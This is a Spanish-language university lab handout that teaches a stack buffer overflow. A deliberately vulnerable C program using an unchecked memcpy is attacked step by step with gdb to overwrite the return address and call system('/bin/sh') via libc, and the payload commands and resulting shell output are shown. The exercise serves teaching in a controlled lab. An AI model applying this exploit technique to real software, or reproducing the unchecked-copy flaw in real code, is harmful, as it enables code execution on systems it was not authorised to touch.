Ingeniería inversa de software

Stack Overflow

Este ejercicio es basado en: https://www.exploit-db.com/docs/28475.pdf. Vamos a atacar un programa inseguro usando la técnica de stack overflow, para lograr que ejecute otro programa de nuestra selección.

Herramientas:

gdb, python

Ambiente de programación:

Linux

Introducción

Imagina un programa como el siguiente:

void ejemplo(int a, int b) {
 // some stuff
}

int main(int argc, char *argv[]){
  ejemplo(15, 16);
  return 1;
}

La Figura 1 muestra el estado del stack cuando la función main está invocando a la función ejemplo. En (a) la función main aún no ha invocado a la función ejemplo. En (b) la función main ha puesto los argumentos que va a pasar a la función ejemplo. Observa que los dos argumentos son colocados cerca del tope del stack frame. En(c) se acaba de ejecutar el 'CALL ejemplo'. Nota que el dirección de retorno está en el tope del stack.

Figura 1. (a) Estado del stack durante el comienzo de main, (b) justo cuando main ha puesto los argumentos que pasará a la función ejemplo, (c) justo cuando ha ejecutado CALL ejemplo.

La Figura 1(c) es clave para entender el ejercicio vamos a realizar hoy: justo al invocar una función, las posiciones superiores del stack contienen: la dirección de retorno y los argumentos para la función. Durante la ejecución de la función invocada, esta accesará esos argumentos, creará variables locales en su stack frame. Justo antes de devolverse, el stack debe lucir igual que en la figura 1(c).

En este ejercicio vamos a abusar del siguiente código:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char buf[256];
  memcpy(buf, argv[1],strlen(argv[1]));
  printf("%s\n",buf);
  return 0;
}

Paso 0:

Analiza el código y asegurate que lo entiendes. ¿Qué máximo largo de string es capaz de almacenar la variable buf? ¿Qué debe imprimir este código bajo condiciones normales?

Compila usando:

gcc so.c -o so -m32 -fno-stack-protector

Trata de crashear el programa proveyendo un input que rebase el espacio separado para el buf y que dañe la dirección de retorno. Puedes generar 300 Aes usando el siguiente comando.

python -c 'print "A"*300'

Y luego copiarlas como argumento a ./so.

Nota importante: A través de este ejercicio hay instrucciones que contienen doble comillas ("), comillas sencillas (') y backticks ( ` ). Debes tener cuidado cuando copies los comandos pues a veces los editores cambian las comillas por otras (" --> “).

Observa que hemos pasado más letras que las necesarias para ahogar el buffer. En los próximos pasos determinaremos cuántas letras exactamente hay que pasar para lograr contaminarlo y tomar control sobre el programa.

Paso 1:

Usando un descompilador o gdb, determina a qué distancia (en bytes) está el comienzo de la variable local buf y la dirección de retorno que queremos contaminar. Describe tu procedimiento y resultados a continuación.

Paso 2:

Ahora usaremos gdb para monitorear la ejecución de ejecutable so. Para esto: comienza el debugger:

gdb ./so

Y luego corre el programa usando la siguiente instrucción. Esta instrucción corre el programa pasando como primer parámetro de command line un string de 256 Aes.

r `python -c 'print "A"*256'`

¿El programa terminó normalmente?

Ahora corre el programa pasándole un número de Aes de forma que contamine el return address. Por ejemplo, si dedujiste que tenías que pasar 300 Aes, correrías:

r `python -c 'print "A"*300'`

Se supone que obtengas un mensaje como el siguiente de parte de gdb:

Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()

El mensaje “0x41414141 in ?? ()” es indicativo de que cuando el procesador trató de regresar de main, encontró el return address 0x41414141 y al tratar de brincar a esa dirección el sistema operativo le indicó que no podía accederla pues sería una violación de permiso de acceso ( ver más en https://en.wikipedia.org/wiki/Segmentation_fault ).

Paso 3:

Determina qué string que debes pasarle al programa si desearas llenar todo el buffer con Aes pero que el programa lanzará un mensaje como el siguiente:

Program received signal SIGSEGV, Segmentation fault.0x42424242 in ?? ()

Hint: Puedes hacerlo cambiando el comando a algo como lo siguiente:

r `python -c 'print "A"*___ + “BBBB”'`

donde el llena blanco es el largo en bytes que debes contaminar para que el string de las cuatro Bs caiga justo antes estaba el return address de main.

En el paso 3 lograste algo como esto lo que muestra la Figura 3.

Figura 2 - Lo que lograste en el paso 3.

Paso 4:

La figura 3(a) muestra el stack bajo condiciones normales de ejecución (cuando el string provisto por el usuario no excede el espacio reservado para el buffer.)

La figura 3(b) muestra nuestro objetivo. Proveyendo un string adecuado queremos rebasar el espacio del buffer y contaminar los espacios que le siguen en el stack para dañar la dirección de retorno. La dirección que asignaremos es la dirección de una función llamada system() en la librería compartida libc. De esta forma cuando la función main termine, en vez de regresar al punto que debería (alguna instrucción dentro de __libc_start_main) hará que se invoque la función system.

Figura 3. Durante la ejecución de main: (a) el stack bajo condiciones normales. (b) el stack cuando el buf ha sido inundado para contaminar el return address.

La función system ejecuta el comando que se le pasa como primer argumento. Por ejemplo, una invocación así:system("/bin/sh");ejecutaría el programa “/bin/sh”, el cual es un shell que permite ejecutar comandos del sistema operativo.

Desde la línea de comando de linux ejecuta /bin/sh y nota su efecto. Debes observar que a diferencia del shell (/bin/bash) que estas acostumbrado a usar, /bin/sh solo presenta $ como cursor. Trata algun comando de linux como ‘ls -al’ y verás su resultado. Luego puedes salir del /bin/sh usando el comando ‘exit’ .

Paso 5:

Para poder rellenar el stack como en la figura 3b y que ejecute el /bin/sh necesitamos averiguar las siguientes: La dirección de la función systemLa dirección de la función exitLa dirección de alguna instancia del string ‘/bin/sh’.

Dirección de las funciones system y exit: Corre el programa “so” a través de gdb, haciendole un breakpoint en main. Una vez en pausa, puedes dar los siguientes comandos para averiguar la direcciones de system y exit:

(gdb) p system

(gdb) p exit

Anota las direcciones. Estas direcciones formarán parte del string que estamos componiendo para envenenar al programa. Recuerda que los datos en x86 se escriben usando little-endian así que un string que contiene “ABCD” queda almacenado 0x44434241. Por lo tanto, si la dirección de system resulta ser 0xbaca1ad0 debes componer un string que lo contenga así “\xd0\x1a\xca\xba”. Por ejemplo,

r `python -c 'print "A"*8 + “BBBB” + “\xd0\x1a\xca\xba”'`

pasaría un string de 8 Aes, 4 Bs y los caracteres correspondientes a 0xd0, 0x1a, 0xca, 0xba.

Paso 6: ¿De dónde sacamos el string “/bin/sh”?

Deseamos que el primer argumento a la función system sea “/bin/sh” así que debemos proveer una dirección donde se encuentre tal string. Podríamos hacer una búsqueda en el espacio de memoria de “so” para ver si encontramos tal string. Sin embargo hay otra forma más certera de asegurarnos que encontramos ese string, proveyéndolo como environment variable. Fuera de gdb, exporta una variable COQUI y asignale “bin/sh” ejecutando lo siguiente:

export COQUI="/bin/sh"

De vuelta en gdb, define un breakpoint en main y corre el programa para que pause al principio de la ejecución de la función main.

Como recordarás una parte de la memoria dedicada a los procesos en unix (debajo del área asignada para el stack) es para environment variables. La forma más fácil de encontrar la dirección de memoria donde vive el environment variable COQUI es desplegando los strings que viven en las direcciones que quedan debajo del stack.

(gdb) x/1000s $ebp

Luego debes inspeccionar varias pantallas hasta que encuentres la variable:

0xbffffead: "QT4_IM_MODULE=xim"
0xbffffebf: "LESSOPEN=| /usr/bin/lesspipe %s"
0xbffffedf: "TEXTDOMAIN=im-config"
0xbffffef4: "DISPLAY=:0"
0xbffffeff: "XDG_RUNTIME_DIR=/run/user/1000"
0xbfffff1e: "GTK_IM_MODULE=ibus"
0xbfffff31: "XDG_CURRENT_DESKTOP=LXDE"
0xbfffff4a: "LC_TIME=es_PR.UTF-8"
0xbfffff5e: "LESSCLOSE=/usr/bin/lesspipe %s %s"
0xbfffff80: "COQUI=/bin/sh"
0xbfffff8e: "TEXTDOMAINDIR=/usr/share/locale/"
0xbfffffaf: "LC_NAME=es_PR.UTF-8"

Anota la dirección donde comienza el string "/bin/sh". En mi caso, la dirección 0xbfffff86 (solo nos interesa el /bin/sh, no el COQUI).

Paso 7:

Con la información que has recogido en los pasos anteriores, completa el string que vas a pasar al programa para contaminarlo y hacer que corra el /bin/sh. Debes observar algo similar lo siguiente:

(gdb) r `python -c 'print....'`
Starting program: /home/raarce/4995/so `python -c '.....`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB�Q����䷆
���
$

El signo de dolar al final es la señal del éxito: es el prompt de /bin/sh donde puedes ejecutar comandos de linux. Por ejemplo, podrías ejecutar el comando 'ls -al' para ver el contenido del directorio. Puedes salir del shell con el comando exit y verás que gdb reporta que el proceso correspondiente al programa "so" ha terminado.

$ ls -al
total 32
drwxrwxr-x 2 raarce raarce 4096 abr 19 23:48 .
drwxr-xr-x 18 raarce raarce 4096 abr 19 23:22 ..
-rwxrwxr-x 1 raarce raarce 7328 abr 19 23:22 a.out
-rw-rw-r-- 1 raarce raarce 120 abr 19 23:22 ejemplo01.c
-rwxrwxr-x 1 raarce raarce 7409 abr 19 23:48 so
-rw-rw-r-- 1 raarce raarce 223 abr 19 23:47 so.c
$ exit
[Inferior 1 (process 9836) exited normally]

Explica el string que generaste.

Paso 8:

Siguiendo un procedimiento similar al pasado, envenena el programa so a través del string de entrada para que ejecute el programa xeyes (/usr/bin/xeyes).

Explica el string que generaste.